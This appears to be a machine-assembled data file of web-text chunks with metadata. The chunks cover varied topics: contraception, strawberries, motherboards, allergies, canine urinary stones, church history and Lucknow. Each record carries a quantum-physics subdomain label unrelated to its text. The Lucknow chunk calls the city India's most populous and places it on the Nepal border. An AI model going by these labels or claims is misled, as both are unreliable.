cause scarring or sticking together ( reference adhesion opens new window ) of tissue and organs in the abdomen. scarring or adhesions can make one of the other types of tubal ligation more difficult and risky. laparoscopy is usually done with a reference general anesthetic opens new window. laparotomy or mini - laparotomy can be done using general anesthesia or a reference regional anesthetic opens new window, also known as an epidural. reference reversing a tubal ligation is possible, but it isn ' t highly successful. this is why tubal ligation is considered a permanent method of birth control. tubal implant method implants, such as essure, are inserted in the fallopian tubes without surgery or general anesthesia. the procedure is done in a doctor ' s office, an outpatient surgery center, or a hospital, and it doesn ' t require an overnight stay. the implant procedure itself takes about 10 minutes. - before the procedure, your reference cervix opens new window is first opened ( dilated ) to reduce the risk of injury to the cervix. your doctor will use a reference speculum opens new window and a dilating instrument to gradually open the cervix just before the procedure. - for the procedure, you are positioned as you would be for a pelvic exam. your doctor passes a thin tube ( catheter ) through your vagina and cervix, into the uterus, and then into a fallopian tube. the catheter is used to place an implant into a fallopian tube. an implant is then placed in the other fallopian tube the same way. you may have some menstrual - like cramps afterwards. after the procedure, an reference x - ray opens new window is taken to make sure the implants are in place and the tubes are closed. in some cases, a tubal implant can be difficult to insert. should this happen, a second procedure is needed to completely block both tubes. for the first 3 months after insertion, you must use another method of birth control. at 3 months, dye is injected into your uterus and an x - ray is taken ( reference", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4627180397107999, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.766155"} {"text": "science points to superiority of organic strawberries strawberries garnered special attention this year as arysta lifescience, a global pesticide corporation, aggressively promoted the chemical methyl iodide for use in california \u2019 s strawberry industry. it was dubbed \u201c one of the most toxic chemicals on earth \u201d by dr. join froines, chair of the state ' s scientific review committee for the pesticide. pesticide action network, partners and tens of thousands of californians rallied to keep methyl iodide out of agriculture. the department of pesticide regulation is expected to issue a final decision on registering the new fumigant in the coming months. public opinion aligns firmly against use of the chemical. new science on the superiority of strawberries grown organically \u2013 without methyl iodide \u2013 bolsters the case. researchers at washington state university compared organic and industrial berries over five years, and published their results last month in the prestigious journal plos one, in an article titled, \u201c fruit and soil quality of organic and conventional strawberry agroecosystems. \u201d the scientists found that compared to industrial berries, organic strawberries have : - more antioxidants and vitamin c - a longer shelf life - better taste and sweetness and one thing organic strawberries don \u2019 t have : pesticide residues. the secret is in the soil, scientists found. organically farmed soils pack a nutritious punch, with higher levels of carbon, nitrogen and important micronutrients. organic farming enhances food quality by building soil quality \u2013 a key point highlighted in the september 3rd national public radio show science friday. organically farmed soils also supported thriving microbial communities \u2013 the living part of the soil \u2013 that were larger, more diverse, and more active. the really sweet part of the story : farmers in california and around the country are already growing organic strawberries, with swanton berry farms and driscoll \u2019 s as just two examples of businesses thriving in this growing sector.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4727484452625741, "token_count": 403, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.769847"} {"text": "eye tracking is a process that identifies a specific point in both space and time that is being looked at by the observer. this information can also be used in real - time to control applications using the eyes. recent innovations in the video game industry include alternative input modalities to provide an enhanced, more immersive user experience. in particular, eye gaze control has recently been explored as an input modality in video games. this book is an introduction for those interested in using eye tracking to control or analyze video games and virtual environments. key concepts are illustrated through three case studies in which gaze control and voice recognition have been used in combination to control virtual characters and applications. the lessons learned in the case studies are presented and issues relating to incorporating eye tracking in interactive applications are discussed. the reader will be given an introduction to human visual attention, eye movements and eye tracking technologies. previous work in the field of studying fixation behavior in games and using eye tracking for video game interaction will also be presented. collect fly buys when you purchase this title the final chapter discusses ideas for how this field can be developed further to create richer interaction for characters and crowds in virtual environments. alternative means of interaction in video games are especially important for disabled users for whom traditional techniques, such as mouse and keyboard, may be far from ideal. this book is also relevant for those wishing to use gaze control in applications other than games. table of contents : introduction / the human visual system / eye tracking / eye tracking in video games / gaze and voice controlled video games : case study i and ii / gaze and voice controlled drawing : case study iii / conclusion", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.5408485773932663, "token_count": 325, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.773464"} {"text": "sometimes i get the feeling that reporters struggle to cover annual events. this leads to less coverage of the liturgical calendar and its festive celebrations and penitential seasons than to events marked by trend - driven church bodies. you don \u2019 t see much coverage of pentecost, marked annually by millions of american christians, compared to, say, the sex sermon series being pushed by some pastor in michigan. tradition holds that on the night of dec. 31, 1862, americans of african descent gathered in churches to await the news that president abraham lincoln would indeed sign the emancipation proclamation. new year \u2019 s day came and all slaves in the states of the confederacy were declared legally free \u2013 even if true freedom would require a long wait. over the next several decades, many black americans developed a tradition of returning to church on new year \u2019 s eve or new year \u2019 s day to commemorate the end of slavery. the black christian tradition held that god, not man, had delivered the slaves to freedom, so church was the right place to remember the pain of bondage and the joy of being free. the story goes on to explain watch night and freedom \u2019 s eve services that continue to this day. in my experience, these services occasionally take place on new year \u2019 s day. the article explores whether the election of a black man to be president will add new meaning to the services. stern looks at local festivities sponsored by the united black clergy of westchester and speaks with the group \u2019 s president, rev w. darin moore : the ame zion denomination was formed in 1820 \u2013 42 years before emancipation \u2013 when black christians fled the institutional racism of the white methodist church. the ame zion church became known as \u201c the freedom church. \u201d \u201c the theme of scripture has always been emancipation and liberation, whether it \u2019 s the story of israel and the exodus from egypt or the liberation we find in christ from sin, \u201d moore told me. \u201c there \u2019 s always been a social / political component and a spiritual component. particularly in the african - american church, there has been an insistence that we not separate the two. \u201c that \u2019 s why this service is so important in our community, \u201d he said. \u201c it looks back and commemorates the liberation from slavery, using the emancipation proclamation as a milestone \u2013 understanding that there were many complexities to the political motivations for it. but for us, it \u2019 s bigger than that, representing a journey to complete human liberation. \u201d i couldn \u2019 t help but read this without remembering the whole jeremiah wright debacle.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.41185572636813633, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.780464"} {"text": "were many complexities to the political motivations for it. but for us, it \u2019 s bigger than that, representing a journey to complete human liberation. \u201d i couldn \u2019 t help but read this without remembering the whole jeremiah wright debacle. in large part because of the pastor in question but also because of the media \u2019 s obsession with politics, the coverage of wright had so little actual discussion of the spiritual aspects of black liberation theology. there wasn \u2019 t much theology in the coverage, to put it mildly. it \u2019 s so nice to see a story that plays liberation theology as it lays, with both political and spiritual aspects. the article also discusses the mega - hot - button issue of the day : now obama \u2019 s getting attacked from the left for choosing rick warren to give the invocation at his inauguration. warren is an increasingly famous ( and white ) megachurch pastor who has focused on fighting worldwide poverty and disease even as he opposes gay marriage and holds mostly conservative theological views. baisden said he has no problem with the choice. \u201c i see it as consistent with president - elect obama \u2019 s efforts to bring us together, \u201d he said. \u201c we have differences in many ways, but these things should be able to pull us together. \u201d i find the use of the word \u201c even \u201d to be completely unnecessary. i \u2019 m aware that many in the mainstream media are under the impression that there is some sort of intrinsic conflict between holding conservative theological views and fighting poverty and disease and yet history doesn \u2019 t exactly bear that impression out. christian charity throughout history has coexisted with a belief in the sanctity of marriage as a heterosexual union. there \u2019 s no need to use the word \u201c even \u201d and quite a few arguments against it. \u201c even \u201d so, the story is great and ends with a verse from the processional hymn to which the clergy will enter the church for the emancipation service, \u201c god of our fathers. \u201d stern provides an informative, interesting, detailed and newsy account of a long - standing faith tradition.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.434663048387145, "token_count": 415, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.781659"} {"text": "[ the pc guide | systems and components reference guide | motherboard and system devices | the motherboard | motherboard integrated components ] jumpers are pins on a motherboard or other device, that are used to provide configuration information to the hardware. a single jumper consists of a pair of pins, with a small rectangular shunt that can be placed over both pins to short them together. the hardware is programmed to act one way when the jumper is shorted, and another way when it is left open. the jumpers are normally numbered jp1, jp2 etc.. for some functions, a group of jumpers is used. every motherboard differs in its jumper numbering, positioning, and most importantly, what the settings for each jumper mean. this is why having the motherboard manual is so crucial for anyone who wants to work on their pc. this procedure provides specific instructions and caveats for configuring your motherboard. one of the newest innovations on the market is the \" jumperless \" motherboard, such as the it5h made by abit. with these boards you make many of the hardware settings, such as cpu type and speed, and even cpu voltage, using bios settings, while some others are retained as regular jumpers ( typically, cmos clear and cache size ). this arrangement lets you change the clock speed of the cpu as easily as you would change any other bios setting, and makes upgrading the processor a snap. it also makes it easier for motherboard manufacturers to add support for new processor types as they are put onto the market. many people think that \" jumperless \" is the new wave of motherboard design, and certainly the ability to change more settings without opening up the box is a great advantage. others like the control of being able to physically set a jumper ( recalling with frustration some of the problems with new technologies like plug and play that remove this control to software with sometimes mixed results ). frankly, considering that most people set their motherboard jumpers only once ( or at most, once a year or so when they upgrade ) i consider the whole jumperless motherboard thing more of a fad than a real evolution in design. for those that like to overclock, jumperless designs have obvious here is a list and brief explanation of the settings that you are most likely to find in your manual : - processor / cpu voltage : almost all newer boards have one or more jumpers to set the voltage for the processor. obviously, this needs to be set correctly or you risk", "subdomain_id": "subdomain_quantum_computing", "similarity_score": 0.5284880748967318, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.786879"} {"text": "explanation of the settings that you are most likely to find in your manual : - processor / cpu voltage : almost all newer boards have one or more jumpers to set the voltage for the processor. obviously, this needs to be set correctly or you risk destroying the chip. in addition, newer processors use two voltages : an \" external \" i / o voltage and an \" internal \" core voltage. for your motherboard to support these newer processors, it must have jumpers to set both of these sometimes there can be a mismatch between the voltage that the processor requires and the voltage that the motherboard supplies. this often happens because the motherboard is designed to support a new processor based on the spec, but the voltage is changed for design reasons later on. you should contact the motherboard manufacturer in this case. usually you can still use the processor if the motherboard can supply a voltage close to the number required - - say, within 0. 1v - - because processors have a range of voltages they can use, not just a single number. see here for more on - processor speed / bus speed / multiplier : every 486 class or later motherboard ( excluding jumperless designs ) has a way to specify the speed of the processor. there are two main methods for selecting processor speed, and your manual will show you which your motherboard uses. some motherboards provide a list of the various speeds supported, and a diagram of how to set the jumpers to match that speed. others instead require you to set two separate jumpers : one controls the memory bus speed, and the other sets the processor \" multiplier \" ( how many times the memory bus speed the processor runs ). - processor type : you may find this instead of, or in addition to, the two settings listed above. in an effort to save the user the hassle of figuring out voltages and speeds, some motherboards combine the jumpers into one jumper set or group. then, they provide a long list with each processor type and speed that the board supports, and tell you how to set each of a group of jumpers so that it works appropriately. if you are setting up a pentium 133, you ' ll find it on the list and be told how to set jumpers 1, 3, 7, 12, and 18, for example. the only problem with this arrangement is that unless they also tell you what each of the individual jumpers is actually controlling, it can be difficult to set up a newer processor that", "subdomain_id": "subdomain_quantum_computing", "similarity_score": 0.45716496091016934, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.787859"} {"text": "##s 1, 3, 7, 12, and 18, for example. the only problem with this arrangement is that unless they also tell you what each of the individual jumpers is actually controlling, it can be difficult to set up a newer processor that may be supported just fine by the board but not be listed in their documentation. you have less information about how the board actually works. you can sometimes find help in this case on the manufacturer ' s web site. - cache size and type : some boards can have different amounts of cache, and some can have cache either built in or on a coast module. there is often a jumper or two to set which is used and how much is on the board. other boards only come with one arrangement of cache or can auto - detect when you insert a coast module, so they will lack these jumpers. - memory size / type : almost all newer pcs auto - detect the amount and type of ram in the system, but many older 486 ( and earlier ) models require jumpers to be changed when changing the amount of memory ( this is a pain in the butt, which is why it was done away - flash bios enable : many boards require you to set a jumper to a special position in order to enable the flash bios update feature. this jumper is usually set to the \" normal \" position except when doing a bios - cmos clear : one of the most famous of annoying pc problems is the \" lost bios setup password \" problem, that locks the user out of the bios setup program. you ' d be amazed how often this happens. some newer pcs have built into the motherboard the ability to clear the bios by temporarily setting a jumper and then replacing it ( in essence this disconnects the cmos memory from the battery so it discharges and resets ). this jumper is also usually set to the \" normal \" position. - battery source : some boards let you switch the battery from an internal to an external source, and a jumper is used to control the setting. - disable jumpers : some motherboards use special jumpers to enable you to disable parts of the circuitry. this is entirely board - dependent. next : ports and headers home - search - topics - up", "subdomain_id": "subdomain_quantum_computing", "similarity_score": 0.4692042182073468, "token_count": 462, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.788659"} {"text": "allergies are an overreaction of the body ' s natural defense system that helps fight infections ( immune system ). the immune system normally protects the body from viruses and bacteria by producing antibodies to fight them. in an allergic reaction, the immune system starts fighting substances that are usually harmless ( such as dust mites, pollen, or a medicine ) as though these substances were trying to attack the body. this overreaction can cause a rash, itchy eyes, a runny nose, trouble breathing, nausea, and diarrhea. an allergic reaction may not occur the first time you are exposed to an allergy - producing substance ( allergen ). for example, the first time you are stung by a bee, you may have only pain and redness from the sting. if you are stung again, you may have hives or trouble breathing. this is caused by the response of the immune system. most people will have some problem with allergies or allergic reactions at some point in their lives. allergic reactions can range from mild and annoying to sudden and life - threatening. most allergic reactions are mild, and home treatment can relieve many of the symptoms. an allergic reaction is more serious when severe allergic reaction ( anaphylaxis ) occurs, when allergies cause other problems ( such as nosebleeds, ear problems, wheezing, or coughing ), or when home treatment doesn ' t help. there are many types of allergies. some of the more common ones include : seasonal allergies show up at the same time of the year every year and are caused by exposure to pollens from trees, grasses, or weeds. hay fever is the most common seasonal allergy. allergies that occur for more than 9 months out of the year are called perennial allergies. check your symptoms to decide if and when you should see a doctor. health tools help you make wise health decisions or take action to improve your health. | decision points focus on key medical care decisions that are important to many health problems. | | allergies : should i take allergy shots? | | allergies : should i take shots for insect sting allergies? | | actionsets are designed to help people take an active role in managing a health condition. | | allergies in children : giving an epinephrine shot to a child | | allergies : giving yourself an epinephrine shot | you can use home treatment to relieve symptoms of : for tips on", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5260803014751492, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.792069"} {"text": "a health condition. | | allergies in children : giving an epinephrine shot to a child | | allergies : giving yourself an epinephrine shot | you can use home treatment to relieve symptoms of : for tips on how to treat dry and irritated skin, see the topic dry skin and itching. for information on how to treat an insect bite or sting, see the topic insect bites and stings and spider bites. call your doctor if any of the following occur during home treatment : to prevent problems with severe allergic reactions : to prevent seasonal or year - round allergy reactions : breast - feeding may prevent allergies. breast - feed your baby for at least 6 months if possible to boost his or her immune system. feeding only breast milk during the first 6 months of life may reduce the chances that your child will develop food allergies or may decrease the severity of your child ' s allergies. for more information, see the topic breast - feeding. to prepare for your appointment, see the topic making the most of your appointment. you can help your doctor diagnose and treat your condition by being prepared to answer the following questions : | primary medical reviewer | | william h. blahd, jr., md, facep - emergency medicine | | specialist medical reviewer | | h. michael o ' connor, md - emergency medicine | | last revised | | november 12, 2012 | last revised : november 12, 2012 to learn more visit healthwise. org \u00a9 1995 - 2013 healthwise, incorporated. healthwise, healthwise for every health decision, and the healthwise logo are trademarks of healthwise, incorporated.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.43044643645493497, "token_count": 337, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.792843"} {"text": "multiple system atrophydefinition : multiple system atrophy ( msa ) is a rare condition that causes symptoms similar to parkinson ' s disease. however, patients with msa have more widespread damage to the part of the nervous system that controls important functions such as heart rate, blood pressure, and sweating. shy - drager syndrome ; neurologic orthostatic hypotension ; shy - mcgee - drager syndrome ; parkinson ' s plus syndrome ; msa - p ; msa - c causes, incidence, and risk factors : the cause is unknown. msa develops gradually and is most often diagnosed in men older than 60. msa damages the nervous system. symptoms can include : - face changes - \" mask \" appearance to face - may be unable to close mouth - reduced ability to show facial expressions difficulty chewing or swallowing ( occasionally ) - disrupted sleep patterns ( especially during rapid eye movement ( rem ) sleep late at night ) dizziness or fainting when standing up or after standing still - frequent falls - loss of control over bowels or bladder - loss of fine motor skills - difficulty with any activity that requires small movements - writing that is small and hard to read - loss of sweating in any part of the body - mild decline in mental function muscle aches and pains ( myalgia ) - difficulty bending arms or legs - nausea and problems with digestion - posture difficulties : may be unstable, stooped, or slumped over - slow movements - difficulty beginning to walk or starting any voluntary movement - freezing of movement when the movement is stopped, unable to start moving again - small steps followed by the need to run to keep balance - may become severe enough to interfere with activities - may be worse when tired, excited, or stressed - may occur at rest or at any time - may occur with any action, such as holding a cup or other eating utensils - finger - thumb rubbing ( pill rolling tremor ) - vision changes, decreased or blurred vision - voice and speech changes - difficulty speaking - slow speaking - voice is low volume other symptoms that may occur with this disease : signs and tests : your doctor or nurse will examine you, and check your eyes, nerves, and muscles. your blood pressure will be taken while you are lying down and standing up. there are no specific tests to confirm this disease. a neurologist can make the diagnosis based on : - history of symptoms - physical examination results - ruling out other causes of symptoms testing to help confirm the diagnosis may include : there is no cure", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.559021288061524, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.797877"} {"text": ". there are no specific tests to confirm this disease. a neurologist can make the diagnosis based on : - history of symptoms - physical examination results - ruling out other causes of symptoms testing to help confirm the diagnosis may include : there is no cure for msa. there is no known way to prevent the disease from getting worse. the goal of treatment is to control symptoms. anticholinergic medications may be used to reduce early or mild tremors. levodopa may improve movement and balance. carbidopa is usually added to levodopa to reduce its side effects and make it work better. however, for people with msa the response to medications may be disappointing. many people respond poorly to treatment with anticholinergics or levodopa. medications that may be used to treat low blood pressure include : - fludrocortisone ( florinef ) - mao inhibitors - vasoconstrictors ( midodrine ) a pacemaker that is programmed to stimulate the heart to beat at a rapid rate ( faster than 100 beats per minute ) may increase blood pressure for some people. constipation can be treated with a high - fiber diet and laxatives. medicines are available to treat impotence. the outcome is poor. loss of mental and physical functions slowly get worse. early death is likely. patients typically live 7 to 9 years after diagnosis. - progressive loss of ability to walk or care for self - difficulty performing daily activities - injuries from falls / fainting - side effects of medications calling your health care provider : call your health care provider if you develop symptoms of this disorder. call your health care provider if you have been diagnosed with msa and your symptoms return or get worse. also call if new symptoms appear, including possible side effects of medications : - changes in alertness / behavior / mood - delusional behavior - involuntary movements - loss of mental functioning - severe confusion or disorientation contact your health care provider if you have a family member with this disorder and his or her condition deteriorates to the point that you are unable to care for the person at home. jankovic j, shannon km. movement disorders. in : bradley wg, daroff rb, fenichel gm, jankovic j, eds. bradley : neurology in clinical practice. 5th ed. philadelphia, pa : butterworth heinemann elsevier ; 2008 : chap 75.", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.45061886620762204, "token_count": 491, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.798824"} {"text": "urolithiasis, struvite in dogs urolithiasis is the medical term referring to the presence of stones in the kidneys, bladder or anywhere in the urinary tract. struvite - - the primary composition of these stones - - is a material that is comprised of magnesium, ammonium and phosphate. the stones are more common in female dogs than in male dogs, and typically in animals that are mid - range in years ( six to seven years of age ). struvite stones account for more than one - third of all stones found in the urinary tracts of dogs. symptoms and types while some dogs may not display any symptoms, others have urinary problems such as : - abnormal urine stream - difficulty urinating ( dysuria ) - frequent urination - blood in the urine ( hematuria ) - cloudy urine - increased thirst moreover, increased thirst ( polydipsia ) is usually associated with stones present in the kidneys. if there is a substantial amount of inflammation, the bladder could be enlarged. sometimes, you ' ll be able to feel the actual stones through the skin with your hand. there are several known risk factors including high levels of steroids, an abnormal retention of urine, and extremely non - acidic ( alkaline ) urine. these type of stones are also more common after urinary tract infections or disorders. some breeds of dogs are more prone to stuvite stones, including : - miniature schnauzers - shih tzus, bichon frises - miniature poodles - cocker spaniels and lhasa apsos x - rays and ultrasounds are usually used to determine the size, shape and location of the stones, and to properly assess treatment options. dietary management, in association with antibiotic treatment, has been effective at dissolving struvite stones. if dietary management is used, follow it explicitly and eliminate other foods and treats until the animal has fully recovered. the process of dissolving stones usually takes between two weeks and up to seven months. if the stones do not begin to dissolve after a few weeks, surgery may be necessary. living and management x - rays and ultrasounds are used to assess the progress of the stone dissolution. a dietary regimen can also be prescribed. in some cases, restricting the diets of the animal - - in terms of magnesium - - has proven effective for stone prevention. a medical condition involving excessive thirst blood in the urine having a hard time urinating ; pain while", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5081342789741372, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.801074"} {"text": "teenagers \u2019 lives are filled with writing. all teens write for school, and 93 % of teens say they write for their own pleasure. most notably, the vast majority of teens have eagerly embraced written communication with their peers as they share messages on their social network pages, in emails and instant messages online, and through fast - paced thumb choreography on their cell phones. parents believe that their children write more as teens than they did at that age. this raises a major question : what, if anything, connects the formal writing teens do and the informal e - communication they exchange on digital screens? a considerable number of educators and children \u2019 s advocates worry that james billington, the librarian of congress, was right when he recently suggested that young americans \u2019 electronic communication might be damaging \u201c the basic unit of human thought \u2013 the sentence. \u201d they are concerned that the quality of writing by young americans is being degraded by their electronic communication, with its carefree spelling, lax punctuation and grammar, and its acronym shortcuts. others wonder if this return to text - driven communication is instead inspiring new appreciation for writing among teens. while the debate about the relationship between e - communication and formal writing is on - going, few have systematically talked to teens to see what they have to say about the state of writing in their lives. responding to this information gap, the pew internet & american life project and national commission on writing conducted a national telephone survey and focus groups to see what teens and their parents say about the role and impact of technological writing on both in - school and out - of - school writing. this report that follows looks at teens \u2019 basic definition of writing, explores the various kinds of writing they do, seeks their assessment about what impact e - communication has on their writing, and probes for their guidance about how writing instruction might be improved. at the core, the digital age presents a paradox. most teenagers spend a considerable amount of their life composing texts, but they do not think that a lot of the material they create electronically is real writing. the act of exchanging emails, instant messages, texts, and social network posts is communication that carries the same weight to teens as phone calls and between - class hallway greetings. at the same time that teens disassociate e - communication with \u201c writing, \u201d they also strongly believe that good writing is a critical skill to achieving success \u2013 and their parents agree. moreover, teens are filled with insights and critiques of the current state of writing instruction as well as ideas about how to make in - school", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5115490786999171, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.803570"} {"text": "risk of marijuana ' s ' gateway effect ' overblown, new unh research shows durham, n. h. \u2013 new research from the university of new hampshire shows that the \" gateway effect \" of marijuana \u2013 that teenagers who use marijuana are more likely to move on to harder illicit drugs as young adults \u2013 is overblown. whether teenagers who smoked pot will use other illicit drugs as young adults has more to do with life factors such as employment status and stress, according to the new research. in fact, the strongest predictor of whether someone will use other illicit drugs is their race / ethnicity, not whether they ever used marijuana. conducted by unh associate professors of sociology karen van gundy and cesar rebellon, the research appears in the september 2010, issue of the journal of health and social behavior in the article, \" a life - course perspective on the ' gateway hypothesis. ' \" \" in light of these findings, we urge u. s. drug control policymakers to consider stress and life - course approaches in their pursuit of solutions to the ' drug problem, ' \" van gundy and rebellon say. the researchers used survey data from 1, 286 young adults who attended miami - dade public schools in the 1990s. within the final sample, 26 percent of the respondents are african american, 44 percent are hispanic, and 30 percent are non - hispanic white. the researchers found that young adults who did not graduate from high school or attend college were more likely to have used marijuana as teenagers and other illicit substances in young adulthood. in addition, those who used marijuana as teenagers and were unemployed following high school were more likely to use other illicit drugs. however, the association between teenage marijuana use and other illicit drug abuse by young adults fades once stresses, such as unemployment, diminish. \" employment in young adulthood can protect people by ' closing ' the marijuana gateway, so over - criminalizing youth marijuana use might create more serious problems if it interferes with later employment opportunities, \" van gundy says. in addition, once young adults reach age 21, the gateway effect subsides entirely. \" while marijuana use may serve as a gateway to other illicit drug use in adolescence, our results indicate that the effect may be short - lived, subsiding by age 21. interestingly, age emerges as a protective status above and beyond the other life statuses and conditions considered here. we find that respondents ' age out ' of marijuana ' s gateway effect regardless of early teen stress exposure or education, work, or family statuses, \"", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.47330076723225, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.807103"} {"text": "age emerges as a protective status above and beyond the other life statuses and conditions considered here. we find that respondents ' age out ' of marijuana ' s gateway effect regardless of early teen stress exposure or education, work, or family statuses, \" the researchers say. the researchers found that the strongest predictor of other illicit drug use appears to be race - ethnicity, not prior use of marijuana. non - hispanic whites show the greatest odds of other illicit substance use, followed by hispanics, and then by african americans. the university of new hampshire, founded in 1866, is a world - class public research university with the feel of a new england liberal arts college. a land, sea, and space - grant university, unh is the state ' s flagship public institution, enrolling more than 12, 200 undergraduate and 2, 200 graduate students. the american sociological association ( www. asanet. org ), founded in 1905, is a nonprofit membership association dedicated to serving sociologists in their work, advancing sociology as a science and profession, and promoting the contributions to and use of sociology by society. the journal of health and social behavior is a quarterly, peer - reviewed journal of the asa. the research article described above is available by request for members of the media. contact daniel fowler, asa ' s media relations and public affairs officer, at email @ example. com or ( 202 ) 527 - 7885.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.48887676228264465, "token_count": 286, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.807756"} {"text": "posted by lotg on november 24, 2004 in reply to : re : macedon and monmouth posted by doug on november 24, 2004 : : : : : : does anyone know where the saying \" as different as macedon and monmouth \" originated from? : : : : : : : : : : i ' ve found it! it ' s from shakespeare ' s henry v. : : : : thanks for posting and letting us know. : : : pardon me for being a dunce, but lacking a copy at hand of henry v, i don ' t know whether there ' s any significance in this choice of place names. is it just that both start with m, but are very far apart geographically? ss : : does it mean the same as \" as different as mastedon and mammoth \". : i suppose it might to an archaeologist. however, most lay folk would not know the difference between a mastodon and a mammoth, so it might tend suggest similarity. what is the source of this phrase? smokey, there does appear to be significance in the choice of place names in henry v. although rather than the comparison indicating how different they are - as i would have expected given you can ' t get much more different than macedon ( as in macedonia ) and monmouth ( as in the uk ), it appears to me that shakespeare is using the example to indicate how alike they are. which if taken in context, does make sense. here ' s a passage that might clarify : \" i tell you, captain, if you look in the maps of the ' orld, i warrant you shall find, in the comparisons between macedon and monmouth, that the situations, look you, is both alike. there is a river in macedon, and there is also moreover a river at monmouth : it is called wye at monmouth ; but it is out of my prains what is the name of the other river ; but ' tis all one, ' tis alike as my fingers is to my fingers, and there is salmons in both. if you mark alexander ' s life well, harry of monmouth ' s life is come after it indifferent well ; for there is figures in all things. \" ( captain fluellen to captain gower, king henry v, act iv scene vii )", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4849603629812902, "token_count": 466, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.810027"} {"text": "margaret impressed not only malcolm but many other members of the scottish court both for her knowledge of continental customs gained in the court of hungary, and also for her piety. she became highly influential, both indirectly by her influence on malcolm as well as through direct activities on her part. prominent among these activities was religious reform. margaret instigated reforms within the scottish church, as well as development of closer ties to the larger roman church in order to avoid a schism between the celtic church and rome. further, margaret was a patroness both of the celide, scottish christian hermits, and also the benedictine order. although benedictine monks were prominent throughout western continental europe, there were previously no benedictine monasteries known to exist in scotland. margaret therefore invited english benedictine monks to establish monasteries in her kingdom. on the more secular side, margaret introduced continental fashions, manners, and ceremony to the scottish court. the popularization of continental fashions had the side - effect of introducing foreign merchants to scotland, increasing economic ties and communication between scotland and the continent. margaret was also a patroness of the arts and education. further, malcolm sought maragret ' s advice on matters of state, and together with other english exiles margaret was influential in introducing english - style feudalism and parliament to scotland. margaret was also active in works of charity. margaret frequently visited and cared for the sick, and on a larger scale had hostels constructed for the poor. she was also in the habit, particularly during advent and lent, of holding feasts for as many as 300 commoners in the royal castle. king malcolm, meanwhile, was engaged in a contest with william the conqueror over northumbria and cambria. after an unsuccessful 1070 invasion by malcom into northumbria followed by an unsuccessful 1072 invasion by william into scotland, malcom paid william homage, resulting in temporary peace. william further made assurance of this peace by demanding malcolm ' s eldest son donald ( by malcolm ' s previous wife ingibjorg ) as a hostage. time passed, william the conqueror died, and the conqueror ' s son william rufus took the throne of england. hostilities again arose between scotland and england, and in the ensuing unpleasantness malcolm was killed along with edward, the eldest son of malcom and margaret. margaret had already been ill when malcolm and edward went off to battle. her surviving children tried to hide the fact of their deaths, for fear of worsening her condition. but margaret learnt the truth, and whether due to her illness or a broken heart, margaret died", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4136492434499927, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.815626"} {"text": "lucknow city is the largest city in uttar pradesh and the most populated city in the entire country of india. the city is one of the oldest settlements of india. lucknow city has the history of the shahi nawabs ruling the city for almost two centuries. the people of the lucknow city are known for their manners and great hospitality. lucknow is emerging as a powerful city in terms of economy and market in india. lucknow lies on the border of india and nepal. the city comprises a total geographical area of around 119 square kilometers of area. the vast area makes the city one of the top ten largest cities in india. when the last census was measured in the year 2006 the population of 